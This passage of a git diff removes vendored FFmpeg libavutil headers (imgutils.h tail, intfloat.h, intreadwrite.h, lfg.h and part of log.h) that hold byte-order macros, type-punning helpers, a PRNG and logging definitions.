will be copied - * @param dst_size the size in bytes of dst - * @param src_data pointers containing the source image data - * @param src_linesizes linesizes for the image in src_data - * @param pix_fmt the pixel format of the source image - * @param width the width of the source image in pixels - * @param height the height of the source image in pixels - * @param align the assumed linesize alignment for dst - * @return the number of bytes written to dst, or a negative value - * (error code) on error - */ -int av_image_copy_to_buffer(uint8_t *dst, int dst_size, - const uint8_t * const src_data[4], const int src_linesize[4], - enum AVPixelFormat pix_fmt, int width, int height, int align); - -/** - * Check if the given dimension of an image is valid, meaning that all - * bytes of the image can be addressed with a signed int. - * - * @param w the width of the picture - * @param h the height of the picture - * @param log_offset the offset to sum to the log level for logging with log_ctx - * @param log_ctx the parent logging context, it may be NULL - * @return >= 0 if valid, a negative error code otherwise - */ -int av_image_check_size(unsigned int w, unsigned int h, int log_offset, void *log_ctx); - -/** - * Check if the given sample aspect ratio of an image is valid. - * - * It is considered invalid if the denominator is 0 or if applying the ratio - * to the image size would make the smaller dimension less than 1. If the - * sar numerator is 0, it is considered unknown and will return as valid. - * - * @param w width of the image - * @param h height of the image - * @param sar sample aspect ratio of the image - * @return 0 if valid, a negative AVERROR code otherwise - */ -int av_image_check_sar(unsigned int w, unsigned int h, AVRational sar); - -/** - * @} - */ - - -#endif /* AVUTIL_IMGUTILS_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/intfloat.h b/desktop_3230/FFmpeg/include/libavutil/intfloat.h deleted file mode 100644 index fe3d7ec..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/intfloat.h +++ /dev/null @@ -1,77 +0,0 @@ -/* - * Copyright (c) 2011 Mans Rullgard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_INTFLOAT_H -#define AVUTIL_INTFLOAT_H - -#include -#include "attributes.h" - -union av_intfloat32 { - uint32_t i; - float f; -}; - -union av_intfloat64 { - uint64_t i; - double f; -}; - -/** - * Reinterpret a 32-bit integer as a float. - */ -static av_always_inline float av_int2float(uint32_t i) -{ - union av_intfloat32 v; - v.i = i; - return v.f; -} - -/** - * Reinterpret a float as a 32-bit integer. - */ -static av_always_inline uint32_t av_float2int(float f) -{ - union av_intfloat32 v; - v.f = f; - return v.i; -} - -/** - * Reinterpret a 64-bit integer as a double. - */ -static av_always_inline double av_int2double(uint64_t i) -{ - union av_intfloat64 v; - v.i = i; - return v.f; -} - -/** - * Reinterpret a double as a 64-bit integer. - */ -static av_always_inline uint64_t av_double2int(double f) -{ - union av_intfloat64 v; - v.f = f; - return v.i; -} - -#endif /* AVUTIL_INTFLOAT_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/intreadwrite.h b/desktop_3230/FFmpeg/include/libavutil/intreadwrite.h deleted file mode 100644 index 51fbe30..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/intreadwrite.h +++ /dev/null @@ -1,629 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_INTREADWRITE_H -#define AVUTIL_INTREADWRITE_H - -#include -#include "libavutil/avconfig.h" -#include "attributes.h" -#include "bswap.h" - -typedef union { - uint64_t u64; - uint32_t u32[2]; - uint16_t u16[4]; - uint8_t u8 [8]; - double f64; - float f32[2]; -} av_alias av_alias64; - -typedef union { - uint32_t u32; - uint16_t u16[2]; - uint8_t u8 [4]; - float f32; -} av_alias av_alias32; - -typedef union { - uint16_t u16; - uint8_t u8 [2]; -} av_alias av_alias16; - -/* - * Arch-specific headers can provide any combination of - * AV_[RW][BLN](16|24|32|48|64) and AV_(COPY|SWAP|ZERO)(64|128) macros. - * Preprocessor symbols must be defined, even if these are implemented - * as inline functions. - * - * R/W means read/write, B/L/N means big/little/native endianness. - * The following macros require aligned access, compared to their - * unaligned variants: AV_(COPY|SWAP|ZERO)(64|128), AV_[RW]N[8-64]A. - * Incorrect usage may range from abysmal performance to crash - * depending on the platform. - * - * The unaligned variants are AV_[RW][BLN][8-64] and AV_COPY*U. - */ - -#ifdef HAVE_AV_CONFIG_H - -#include "config.h" - -#if ARCH_ARM -# include "arm/intreadwrite.h" -#elif ARCH_AVR32 -# include "avr32/intreadwrite.h" -#elif ARCH_MIPS -# include "mips/intreadwrite.h" -#elif ARCH_PPC -# include "ppc/intreadwrite.h" -#elif ARCH_TOMI -# include "tomi/intreadwrite.h" -#elif ARCH_X86 -# include "x86/intreadwrite.h" -#endif - -#endif /* HAVE_AV_CONFIG_H */ - -/* - * Map AV_RNXX <-> AV_R[BL]XX for all variants provided by per-arch headers. - */ - -#if AV_HAVE_BIGENDIAN - -# if defined(AV_RN16) && !defined(AV_RB16) -# define AV_RB16(p) AV_RN16(p) -# elif !defined(AV_RN16) && defined(AV_RB16) -# define AV_RN16(p) AV_RB16(p) -# endif - -# if defined(AV_WN16) && !defined(AV_WB16) -# define AV_WB16(p, v) AV_WN16(p, v) -# elif !defined(AV_WN16) && defined(AV_WB16) -# define AV_WN16(p, v) AV_WB16(p, v) -# endif - -# if defined(AV_RN24) && !defined(AV_RB24) -# define AV_RB24(p) AV_RN24(p) -# elif !defined(AV_RN24) && defined(AV_RB24) -# define AV_RN24(p) AV_RB24(p) -# endif - -# if defined(AV_WN24) && !defined(AV_WB24) -# define AV_WB24(p, v) AV_WN24(p, v) -# elif !defined(AV_WN24) && defined(AV_WB24) -# define AV_WN24(p, v) AV_WB24(p, v) -# endif - -# if defined(AV_RN32) && !defined(AV_RB32) -# define AV_RB32(p) AV_RN32(p) -# elif !defined(AV_RN32) && defined(AV_RB32) -# define AV_RN32(p) AV_RB32(p) -# endif - -# if defined(AV_WN32) && !defined(AV_WB32) -# define AV_WB32(p, v) AV_WN32(p, v) -# elif !defined(AV_WN32) && defined(AV_WB32) -# define AV_WN32(p, v) AV_WB32(p, v) -# endif - -# if defined(AV_RN48) && !defined(AV_RB48) -# define AV_RB48(p) AV_RN48(p) -# elif !defined(AV_RN48) && defined(AV_RB48) -# define AV_RN48(p) AV_RB48(p) -# endif - -# if defined(AV_WN48) && !defined(AV_WB48) -# define AV_WB48(p, v) AV_WN48(p, v) -# elif !defined(AV_WN48) && defined(AV_WB48) -# define AV_WN48(p, v) AV_WB48(p, v) -# endif - -# if defined(AV_RN64) && !defined(AV_RB64) -# define AV_RB64(p) AV_RN64(p) -# elif !defined(AV_RN64) && defined(AV_RB64) -# define AV_RN64(p) AV_RB64(p) -# endif - -# if defined(AV_WN64) && !defined(AV_WB64) -# define AV_WB64(p, v) AV_WN64(p, v) -# elif !defined(AV_WN64) && defined(AV_WB64) -# define AV_WN64(p, v) AV_WB64(p, v) -# endif - -#else /* AV_HAVE_BIGENDIAN */ - -# if defined(AV_RN16) && !defined(AV_RL16) -# define AV_RL16(p) AV_RN16(p) -# elif !defined(AV_RN16) && defined(AV_RL16) -# define AV_RN16(p) AV_RL16(p) -# endif - -# if defined(AV_WN16) && !defined(AV_WL16) -# define AV_WL16(p, v) AV_WN16(p, v) -# elif !defined(AV_WN16) && defined(AV_WL16) -# define AV_WN16(p, v) AV_WL16(p, v) -# endif - -# if defined(AV_RN24) && !defined(AV_RL24) -# define AV_RL24(p) AV_RN24(p) -# elif !defined(AV_RN24) && defined(AV_RL24) -# define AV_RN24(p) AV_RL24(p) -# endif - -# if defined(AV_WN24) && !defined(AV_WL24) -# define AV_WL24(p, v) AV_WN24(p, v) -# elif !defined(AV_WN24) && defined(AV_WL24) -# define AV_WN24(p, v) AV_WL24(p, v) -# endif - -# if defined(AV_RN32) && !defined(AV_RL32) -# define AV_RL32(p) AV_RN32(p) -# elif !defined(AV_RN32) && defined(AV_RL32) -# define AV_RN32(p) AV_RL32(p) -# endif - -# if defined(AV_WN32) && !defined(AV_WL32) -# define AV_WL32(p, v) AV_WN32(p, v) -# elif !defined(AV_WN32) && defined(AV_WL32) -# define AV_WN32(p, v) AV_WL32(p, v) -# endif - -# if defined(AV_RN48) && !defined(AV_RL48) -# define AV_RL48(p) AV_RN48(p) -# elif !defined(AV_RN48) && defined(AV_RL48) -# define AV_RN48(p) AV_RL48(p) -# endif - -# if defined(AV_WN48) && !defined(AV_WL48) -# define AV_WL48(p, v) AV_WN48(p, v) -# elif !defined(AV_WN48) && defined(AV_WL48) -# define AV_WN48(p, v) AV_WL48(p, v) -# endif - -# if defined(AV_RN64) && !defined(AV_RL64) -# define AV_RL64(p) AV_RN64(p) -# elif !defined(AV_RN64) && defined(AV_RL64) -# define AV_RN64(p) AV_RL64(p) -# endif - -# if defined(AV_WN64) && !defined(AV_WL64) -# define AV_WL64(p, v) AV_WN64(p, v) -# elif !defined(AV_WN64) && defined(AV_WL64) -# define AV_WN64(p, v) AV_WL64(p, v) -# endif - -#endif /* !AV_HAVE_BIGENDIAN */ - -/* - * Define AV_[RW]N helper macros to simplify definitions not provided - * by per-arch headers. - */ - -#if defined(__GNUC__) && !defined(__TI_COMPILER_VERSION__) - -union unaligned_64 { uint64_t l; } __attribute__((packed)) av_alias; -union unaligned_32 { uint32_t l; } __attribute__((packed)) av_alias; -union unaligned_16 { uint16_t l; } __attribute__((packed)) av_alias; - -# define AV_RN(s, p) (((const union unaligned_##s *) (p))->l) -# define AV_WN(s, p, v) ((((union unaligned_##s *) (p))->l) = (v)) - -#elif defined(__DECC) - -# define AV_RN(s, p) (*((const __unaligned uint##s##_t*)(p))) -# define AV_WN(s, p, v) (*((__unaligned uint##s##_t*)(p)) = (v)) - -#elif AV_HAVE_FAST_UNALIGNED - -# define AV_RN(s, p) (((const av_alias##s*)(p))->u##s) -# define AV_WN(s, p, v) (((av_alias##s*)(p))->u##s = (v)) - -#else - -#ifndef AV_RB16 -# define AV_RB16(x) \ - ((((const uint8_t*)(x))[0] << 8) | \ - ((const uint8_t*)(x))[1]) -#endif -#ifndef AV_WB16 -# define AV_WB16(p, darg) do { \ - unsigned d = (darg); \ - ((uint8_t*)(p))[1] = (d); \ - ((uint8_t*)(p))[0] = (d)>>8; \ - } while(0) -#endif - -#ifndef AV_RL16 -# define AV_RL16(x) \ - ((((const uint8_t*)(x))[1] << 8) | \ - ((const uint8_t*)(x))[0]) -#endif -#ifndef AV_WL16 -# define AV_WL16(p, darg) do { \ - unsigned d = (darg); \ - ((uint8_t*)(p))[0] = (d); \ - ((uint8_t*)(p))[1] = (d)>>8; \ - } while(0) -#endif - -#ifndef AV_RB32 -# define AV_RB32(x) \ - (((uint32_t)((const uint8_t*)(x))[0] << 24) | \ - (((const uint8_t*)(x))[1] << 16) | \ - (((const uint8_t*)(x))[2] << 8) | \ - ((const uint8_t*)(x))[3]) -#endif -#ifndef AV_WB32 -# define AV_WB32(p, darg) do { \ - unsigned d = (darg); \ - ((uint8_t*)(p))[3] = (d); \ - ((uint8_t*)(p))[2] = (d)>>8; \ - ((uint8_t*)(p))[1] = (d)>>16; \ - ((uint8_t*)(p))[0] = (d)>>24; \ - } while(0) -#endif - -#ifndef AV_RL32 -# define AV_RL32(x) \ - (((uint32_t)((const uint8_t*)(x))[3] << 24) | \ - (((const uint8_t*)(x))[2] << 16) | \ - (((const uint8_t*)(x))[1] << 8) | \ - ((const uint8_t*)(x))[0]) -#endif -#ifndef AV_WL32 -# define AV_WL32(p, darg) do { \ - unsigned d = (darg); \ - ((uint8_t*)(p))[0] = (d); \ - ((uint8_t*)(p))[1] = (d)>>8; \ - ((uint8_t*)(p))[2] = (d)>>16; \ - ((uint8_t*)(p))[3] = (d)>>24; \ - } while(0) -#endif - -#ifndef AV_RB64 -# define AV_RB64(x) \ - (((uint64_t)((const uint8_t*)(x))[0] << 56) | \ - ((uint64_t)((const uint8_t*)(x))[1] << 48) | \ - ((uint64_t)((const uint8_t*)(x))[2] << 40) | \ - ((uint64_t)((const uint8_t*)(x))[3] << 32) | \ - ((uint64_t)((const uint8_t*)(x))[4] << 24) | \ - ((uint64_t)((const uint8_t*)(x))[5] << 16) | \ - ((uint64_t)((const uint8_t*)(x))[6] << 8) | \ - (uint64_t)((const uint8_t*)(x))[7]) -#endif -#ifndef AV_WB64 -# define AV_WB64(p, darg) do { \ - uint64_t d = (darg); \ - ((uint8_t*)(p))[7] = (d); \ - ((uint8_t*)(p))[6] = (d)>>8; \ - ((uint8_t*)(p))[5] = (d)>>16; \ - ((uint8_t*)(p))[4] = (d)>>24; \ - ((uint8_t*)(p))[3] = (d)>>32; \ - ((uint8_t*)(p))[2] = (d)>>40; \ - ((uint8_t*)(p))[1] = (d)>>48; \ - ((uint8_t*)(p))[0] = (d)>>56; \ - } while(0) -#endif - -#ifndef AV_RL64 -# define AV_RL64(x) \ - (((uint64_t)((const uint8_t*)(x))[7] << 56) | \ - ((uint64_t)((const uint8_t*)(x))[6] << 48) | \ - ((uint64_t)((const uint8_t*)(x))[5] << 40) | \ - ((uint64_t)((const uint8_t*)(x))[4] << 32) | \ - ((uint64_t)((const uint8_t*)(x))[3] << 24) | \ - ((uint64_t)((const uint8_t*)(x))[2] << 16) | \ - ((uint64_t)((const uint8_t*)(x))[1] << 8) | \ - (uint64_t)((const uint8_t*)(x))[0]) -#endif -#ifndef AV_WL64 -# define AV_WL64(p, darg) do { \ - uint64_t d = (darg); \ - ((uint8_t*)(p))[0] = (d); \ - ((uint8_t*)(p))[1] = (d)>>8; \ - ((uint8_t*)(p))[2] = (d)>>16; \ - ((uint8_t*)(p))[3] = (d)>>24; \ - ((uint8_t*)(p))[4] = (d)>>32; \ - ((uint8_t*)(p))[5] = (d)>>40; \ - ((uint8_t*)(p))[6] = (d)>>48; \ - ((uint8_t*)(p))[7] = (d)>>56; \ - } while(0) -#endif - -#if AV_HAVE_BIGENDIAN -# define AV_RN(s, p) AV_RB##s(p) -# define AV_WN(s, p, v) AV_WB##s(p, v) -#else -# define AV_RN(s, p) AV_RL##s(p) -# define AV_WN(s, p, v) AV_WL##s(p, v) -#endif - -#endif /* HAVE_FAST_UNALIGNED */ - -#ifndef AV_RN16 -# define AV_RN16(p) AV_RN(16, p) -#endif - -#ifndef AV_RN32 -# define AV_RN32(p) AV_RN(32, p) -#endif - -#ifndef AV_RN64 -# define AV_RN64(p) AV_RN(64, p) -#endif - -#ifndef AV_WN16 -# define AV_WN16(p, v) AV_WN(16, p, v) -#endif - -#ifndef AV_WN32 -# define AV_WN32(p, v) AV_WN(32, p, v) -#endif - -#ifndef AV_WN64 -# define AV_WN64(p, v) AV_WN(64, p, v) -#endif - -#if AV_HAVE_BIGENDIAN -# define AV_RB(s, p) AV_RN##s(p) -# define AV_WB(s, p, v) AV_WN##s(p, v) -# define AV_RL(s, p) av_bswap##s(AV_RN##s(p)) -# define AV_WL(s, p, v) AV_WN##s(p, av_bswap##s(v)) -#else -# define AV_RB(s, p) av_bswap##s(AV_RN##s(p)) -# define AV_WB(s, p, v) AV_WN##s(p, av_bswap##s(v)) -# define AV_RL(s, p) AV_RN##s(p) -# define AV_WL(s, p, v) AV_WN##s(p, v) -#endif - -#define AV_RB8(x) (((const uint8_t*)(x))[0]) -#define AV_WB8(p, d) do { ((uint8_t*)(p))[0] = (d); } while(0) - -#define AV_RL8(x) AV_RB8(x) -#define AV_WL8(p, d) AV_WB8(p, d) - -#ifndef AV_RB16 -# define AV_RB16(p) AV_RB(16, p) -#endif -#ifndef AV_WB16 -# define AV_WB16(p, v) AV_WB(16, p, v) -#endif - -#ifndef AV_RL16 -# define AV_RL16(p) AV_RL(16, p) -#endif -#ifndef AV_WL16 -# define AV_WL16(p, v) AV_WL(16, p, v) -#endif - -#ifndef AV_RB32 -# define AV_RB32(p) AV_RB(32, p) -#endif -#ifndef AV_WB32 -# define AV_WB32(p, v) AV_WB(32, p, v) -#endif - -#ifndef AV_RL32 -# define AV_RL32(p) AV_RL(32, p) -#endif -#ifndef AV_WL32 -# define AV_WL32(p, v) AV_WL(32, p, v) -#endif - -#ifndef AV_RB64 -# define AV_RB64(p) AV_RB(64, p) -#endif -#ifndef AV_WB64 -# define AV_WB64(p, v) AV_WB(64, p, v) -#endif - -#ifndef AV_RL64 -# define AV_RL64(p) AV_RL(64, p) -#endif -#ifndef AV_WL64 -# define AV_WL64(p, v) AV_WL(64, p, v) -#endif - -#ifndef AV_RB24 -# define AV_RB24(x) \ - ((((const uint8_t*)(x))[0] << 16) | \ - (((const uint8_t*)(x))[1] << 8) | \ - ((const uint8_t*)(x))[2]) -#endif -#ifndef AV_WB24 -# define AV_WB24(p, d) do { \ - ((uint8_t*)(p))[2] = (d); \ - ((uint8_t*)(p))[1] = (d)>>8; \ - ((uint8_t*)(p))[0] = (d)>>16; \ - } while(0) -#endif - -#ifndef AV_RL24 -# define AV_RL24(x) \ - ((((const uint8_t*)(x))[2] << 16) | \ - (((const uint8_t*)(x))[1] << 8) | \ - ((const uint8_t*)(x))[0]) -#endif -#ifndef AV_WL24 -# define AV_WL24(p, d) do { \ - ((uint8_t*)(p))[0] = (d); \ - ((uint8_t*)(p))[1] = (d)>>8; \ - ((uint8_t*)(p))[2] = (d)>>16; \ - } while(0) -#endif - -#ifndef AV_RB48 -# define AV_RB48(x) \ - (((uint64_t)((const uint8_t*)(x))[0] << 40) | \ - ((uint64_t)((const uint8_t*)(x))[1] << 32) | \ - ((uint64_t)((const uint8_t*)(x))[2] << 24) | \ - ((uint64_t)((const uint8_t*)(x))[3] << 16) | \ - ((uint64_t)((const uint8_t*)(x))[4] << 8) | \ - (uint64_t)((const uint8_t*)(x))[5]) -#endif -#ifndef AV_WB48 -# define AV_WB48(p, darg) do { \ - uint64_t d = (darg); \ - ((uint8_t*)(p))[5] = (d); \ - ((uint8_t*)(p))[4] = (d)>>8; \ - ((uint8_t*)(p))[3] = (d)>>16; \ - ((uint8_t*)(p))[2] = (d)>>24; \ - ((uint8_t*)(p))[1] = (d)>>32; \ - ((uint8_t*)(p))[0] = (d)>>40; \ - } while(0) -#endif - -#ifndef AV_RL48 -# define AV_RL48(x) \ - (((uint64_t)((const uint8_t*)(x))[5] << 40) | \ - ((uint64_t)((const uint8_t*)(x))[4] << 32) | \ - ((uint64_t)((const uint8_t*)(x))[3] << 24) | \ - ((uint64_t)((const uint8_t*)(x))[2] << 16) | \ - ((uint64_t)((const uint8_t*)(x))[1] << 8) | \ - (uint64_t)((const uint8_t*)(x))[0]) -#endif -#ifndef AV_WL48 -# define AV_WL48(p, darg) do { \ - uint64_t d = (darg); \ - ((uint8_t*)(p))[0] = (d); \ - ((uint8_t*)(p))[1] = (d)>>8; \ - ((uint8_t*)(p))[2] = (d)>>16; \ - ((uint8_t*)(p))[3] = (d)>>24; \ - ((uint8_t*)(p))[4] = (d)>>32; \ - ((uint8_t*)(p))[5] = (d)>>40; \ - } while(0) -#endif - -/* - * The AV_[RW]NA macros access naturally aligned data - * in a type-safe way. - */ - -#define AV_RNA(s, p) (((const av_alias##s*)(p))->u##s) -#define AV_WNA(s, p, v) (((av_alias##s*)(p))->u##s = (v)) - -#ifndef AV_RN16A -# define AV_RN16A(p) AV_RNA(16, p) -#endif - -#ifndef AV_RN32A -# define AV_RN32A(p) AV_RNA(32, p) -#endif - -#ifndef AV_RN64A -# define AV_RN64A(p) AV_RNA(64, p) -#endif - -#ifndef AV_WN16A -# define AV_WN16A(p, v) AV_WNA(16, p, v) -#endif - -#ifndef AV_WN32A -# define AV_WN32A(p, v) AV_WNA(32, p, v) -#endif - -#ifndef AV_WN64A -# define AV_WN64A(p, v) AV_WNA(64, p, v) -#endif - -/* - * The AV_COPYxxU macros are suitable for copying data to/from unaligned - * memory locations. - */ - -#define AV_COPYU(n, d, s) AV_WN##n(d, AV_RN##n(s)); - -#ifndef AV_COPY16U -# define AV_COPY16U(d, s) AV_COPYU(16, d, s) -#endif - -#ifndef AV_COPY32U -# define AV_COPY32U(d, s) AV_COPYU(32, d, s) -#endif - -#ifndef AV_COPY64U -# define AV_COPY64U(d, s) AV_COPYU(64, d, s) -#endif - -#ifndef AV_COPY128U -# define AV_COPY128U(d, s) \ - do { \ - AV_COPY64U(d, s); \ - AV_COPY64U((char *)(d) + 8, (const char *)(s) + 8); \ - } while(0) -#endif - -/* Parameters for AV_COPY*, AV_SWAP*, AV_ZERO* must be - * naturally aligned. They may be implemented using MMX, - * so emms_c() must be called before using any float code - * afterwards. - */ - -#define AV_COPY(n, d, s) \ - (((av_alias##n*)(d))->u##n = ((const av_alias##n*)(s))->u##n) - -#ifndef AV_COPY16 -# define AV_COPY16(d, s) AV_COPY(16, d, s) -#endif - -#ifndef AV_COPY32 -# define AV_COPY32(d, s) AV_COPY(32, d, s) -#endif - -#ifndef AV_COPY64 -# define AV_COPY64(d, s) AV_COPY(64, d, s) -#endif - -#ifndef AV_COPY128 -# define AV_COPY128(d, s) \ - do { \ - AV_COPY64(d, s); \ - AV_COPY64((char*)(d)+8, (char*)(s)+8); \ - } while(0) -#endif - -#define AV_SWAP(n, a, b) FFSWAP(av_alias##n, *(av_alias##n*)(a), *(av_alias##n*)(b)) - -#ifndef AV_SWAP64 -# define AV_SWAP64(a, b) AV_SWAP(64, a, b) -#endif - -#define AV_ZERO(n, d) (((av_alias##n*)(d))->u##n = 0) - -#ifndef AV_ZERO16 -# define AV_ZERO16(d) AV_ZERO(16, d) -#endif - -#ifndef AV_ZERO32 -# define AV_ZERO32(d) AV_ZERO(32, d) -#endif - -#ifndef AV_ZERO64 -# define AV_ZERO64(d) AV_ZERO(64, d) -#endif - -#ifndef AV_ZERO128 -# define AV_ZERO128(d) \ - do { \ - AV_ZERO64(d); \ - AV_ZERO64((char*)(d)+8); \ - } while(0) -#endif - -#endif /* AVUTIL_INTREADWRITE_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/lfg.h b/desktop_3230/FFmpeg/include/libavutil/lfg.h deleted file mode 100644 index ec90562..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/lfg.h +++ /dev/null @@ -1,62 +0,0 @@ -/* - * Lagged Fibonacci PRNG - * Copyright (c) 2008 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_LFG_H -#define AVUTIL_LFG_H - -typedef struct AVLFG { - unsigned int state[64]; - int index; -} AVLFG; - -void av_lfg_init(AVLFG *c, unsigned int seed); - -/** - * Get the next random unsigned 32-bit number using an ALFG. - * - * Please also consider a simple LCG like state= state*1664525+1013904223, - * it may be good enough and faster for your specific use case. - */ -static inline unsigned int av_lfg_get(AVLFG *c){ - c->state[c->index & 63] = c->state[(c->index-24) & 63] + c->state[(c->index-55) & 63]; - return c->state[c->index++ & 63]; -} - -/** - * Get the next random unsigned 32-bit number using a MLFG. - * - * Please also consider av_lfg_get() above, it is faster. - */ -static inline unsigned int av_mlfg_get(AVLFG *c){ - unsigned int a= c->state[(c->index-55) & 63]; - unsigned int b= c->state[(c->index-24) & 63]; - return c->state[c->index++ & 63] = 2*a*b+a+b; -} - -/** - * Get the next two numbers generated by a Box-Muller Gaussian - * generator using the random numbers issued by lfg. - * - * @param out array where the two generated numbers are placed - */ -void av_bmg_get(AVLFG *lfg, double out[2]); - -#endif /* AVUTIL_LFG_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/log.h b/desktop_3230/FFmpeg/include/libavutil/log.h deleted file mode 100644 index 321748c..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/log.h +++ /dev/null @@ -1,359 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_LOG_H -#define AVUTIL_LOG_H - -#include -#include "avutil.h" -#include "attributes.h" -#include "version.h" - -typedef enum { - AV_CLASS_CATEGORY_NA = 0, - AV_CLASS_CATEGORY_INPUT, - AV_CLASS_CATEGORY_OUTPUT, - AV_CLASS_CATEGORY_MUXER, - AV_CLASS_CATEGORY_DEMUXER, - AV_CLASS_CATEGORY_ENCODER, - AV_CLASS_CATEGORY_DECODER, - AV_CLASS_CATEGORY_FILTER, - AV_CLASS_CATEGORY_BITSTREAM_FILTER, - AV_CLASS_CATEGORY_SWSCALER, - AV_CLASS_CATEGORY_SWRESAMPLER, - AV_CLASS_CATEGORY_DEVICE_VIDEO_OUTPUT = 40, - AV_CLASS_CATEGORY_DEVICE_VIDEO_INPUT, - AV_CLASS_CATEGORY_DEVICE_AUDIO_OUTPUT, - AV_CLASS_CATEGORY_DEVICE_AUDIO_INPUT, - AV_CLASS_CATEGORY_DEVICE_OUTPUT, - AV_CLASS_CATEGORY_DEVICE_INPUT, - AV_CLASS_CATEGORY_NB, ///< not part of ABI/API -}AVClassCategory; - -#define AV_IS_INPUT_DEVICE(category) \ - (((category) == AV_CLASS_CATEGORY_DEVICE_VIDEO_INPUT) || \ - ((category) == AV_CLASS_CATEGORY_DEVICE_AUDIO_INPUT) || \ - ((category) == AV_CLASS_CATEGORY_DEVICE_INPUT)) - -#define AV_IS_OUTPUT_DEVICE(category) \ - (((category) == AV_CLASS_CATEGORY_DEVICE_VIDEO_OUTPUT) || \ - ((category) == AV_CLASS_CATEGORY_DEVICE_AUDIO_OUTPUT) || \ - ((category) == AV_CLASS_CATEGORY_DEVICE_OUTPUT)) - -struct AVOptionRanges; - -/** - * Describe the class of an AVClass context structure. That is an - * arbitrary struct of which the first field is a pointer to an - * AVClass struct (e.g. AVCodecContext, AVFormatContext etc.). - */ -typedef struct AVClass { - /** - * The name of the class; usually it is the same name as the - * context structure type to which the AVClass is associated. - */ - const char* class_name; - - /** - * A pointer to a function which returns the name of a context - * instance ctx associated with the class. - */ - const char* (*item_name)(void* ctx); - - /** - * a pointer to the first option specified in the class if any or NULL - * - * @see av_set_default_options() - */ - const struct AVOption *option; - - /** - * LIBAVUTIL_VERSION with which this structure was created. - * This is used to allow fields to be added without requiring major - * version bumps everywhere. - */ - - int version; - - /** - * Offset in the structure where log_level_offset is stored. - * 0 means there is no such variable - */ - int log_level_offset_offset; - - /** - * Offset in the structure where a pointer to the parent context for - * logging is stored. For example a decoder could pass its AVCodecContext - * to eval as such a parent context, which an av_log() implementation - * could then leverage to display the parent context. - * The offset can be NULL. - */ - int parent_log_context_offset; - - /** - * Return next AVOptions-enabled child or NULL - */ - void* (*child_next)(void *obj, void *prev); - - /** - * Return an AVClass corresponding to the next potential - * AVOptions-enabled child. - * - * The difference between child_next and this is that - * child_next iterates over _already existing_ objects, while - * child_class_next iterates over _all possible_ children. - */ - const struct AVClass* (*child_class_next)(const struct AVClass *prev); - - /** - * Category used for visualization (like color) - * This is only set if the category is equal for all objects using this class. - * available since version (51 << 16 | 56 << 8 | 100) - */ - AVClassCategory category; - - /** - * Callback to return the category. - * available since version (51 << 16 | 59 << 8 | 100) - */ - AVClassCategory (*get_category)(void* ctx); - - /** - * Callback to return the supported/allowed ranges. - * available since version (52.12) - */ - int (*query_ranges)(struct AVOptionRanges **, void *obj, const char *key, int flags); -} AVClass; - -/** - * @addtogroup lavu_log - * - * @{ - * - * @defgroup lavu_log_constants Logging Constants - * - * @{ - */ - -/** - * Print no output. - */ -#define AV_LOG_QUIET -8 - -/** - * Something went really wrong and we will crash now. - */ -#define AV_LOG_PANIC 0 - -/** - * Something went wrong and recovery is not possible. - * For example, no header was found for a format which depends - * on headers or an illegal combination of parameters is used. - */ -#define AV_LOG_FATAL 8 - -/** - * Something went wrong and cannot losslessly be recovered. - * However, not all future data is affected. - */ -#define AV_LOG_ERROR 16 - -/** - * Something somehow does not look correct. This may or may not - * lead to problems. An example would be the use of '-vstrict -2'. - */ -#define AV_LOG_WARNING 24 - -/** - * Standard information. - */ -#define AV_LOG_INFO 32 - -/** - * Detailed information. - */ -#define AV_LOG_VERBOSE 40 - -/** - * Stuff which is only useful for libav* developers. - */ -#define AV_LOG_DEBUG 48 - -/** - * Extremely verbose debugging, 